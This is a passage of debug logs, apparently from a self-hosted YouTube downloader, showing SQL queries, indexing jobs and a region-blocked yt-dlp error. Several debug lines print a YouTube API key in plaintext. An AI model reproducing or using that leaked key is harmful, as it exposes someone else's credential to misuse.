db=0.4ms idle=109.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:57:06.428 [debug] QUERY OK source="tasks" db=0.1ms idle=110.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800093, 22, ~U[2026-02-10 22:57:06Z], ~U[2026-02-10 22:57:06Z]] 16:57:06.429 [info] {"args":{"id":22},"id":3800054,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":111250,"event":"job:stop","queue_time":834916,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:07.475 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/cf/c5cf5cf05bc9a5e622a94d893110c2a5fdbd8c17a5187d015a089ee28bc5d65f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:57:07.475 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:57:07.477 [debug] QUERY OK source="media_items" db=1.9ms idle=1046.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 16:57:07.478 [debug] QUERY OK source="tasks" db=0.1ms idle=1042.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800094, 6, ~U[2026-02-10 22:57:07Z], ~U[2026-02-10 22:57:07Z]] 16:57:07.478 [info] {"args":{"id":6},"id":3800050,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9559887,"event":"job:stop","queue_time":362447,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:07.930 [info] {"args":{"id":14},"id":3800055,"meta":{},"system_time":1770764227930838739,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:07.931 [debug] QUERY OK source="sources" db=0.1ms idle=452.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:57:07.931 [debug] QUERY OK source="settings" db=0.1ms idle=452.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:07.931 [debug] QUERY OK source="media_profiles" db=0.1ms idle=446.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:07.931 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:07.931 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:57:07.932 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:07.932 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:08.061 [debug] QUERY OK source="media_items" db=0.6ms idle=130.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 16:57:08.063 [debug] QUERY OK source="media_items" db=1.1ms idle=131.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:57:08.064 [debug] QUERY OK source="tasks" db=0.1ms idle=132.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800095, 14, ~U[2026-02-10 22:57:08Z], ~U[2026-02-10 22:57:08Z]] 16:57:08.064 [info] {"args":{"id":14},"id":3800055,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133564,"event":"job:stop","queue_time":595001,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:09.932 [info] {"args":{"id":4},"id":3800056,"meta":{},"system_time":1770764229932658907,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:09.932 [info] {"args":{"id":24},"id":3800057,"meta":{},"system_time":1770764229932692940,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:09.933 [debug] QUERY OK source="sources" db=0.2ms idle=54.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:57:09.933 [debug] QUERY OK source="sources" db=0.3ms idle=54.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:57:09.933 [debug] QUERY OK source="settings" db=0.1ms idle=54.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.933 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.933 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:09.933 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:09.933 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.933 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:57:09.933 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.933 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:57:09.934 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.934 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:09.934 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.934 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:10.154 [debug] QUERY OK source="media_items" db=0.6ms idle=220.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 16:57:10.155 [debug] QUERY OK source="media_items" db=0.4ms idle=221.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:57:10.156 [debug] QUERY OK source="tasks" db=0.1ms idle=222.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800096, 4, ~U[2026-02-10 22:57:10Z], ~U[2026-02-10 22:57:10Z]] 16:57:10.156 [info] {"args":{"id":4},"id":3800056,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":223908,"event":"job:stop","queue_time":565835,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:10.277 [debug] QUERY OK source="media_items" db=0.6ms idle=120.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", 